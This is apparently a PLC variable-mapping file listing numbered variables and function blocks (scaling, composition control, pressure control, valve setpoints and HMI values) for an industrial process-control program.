+100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; 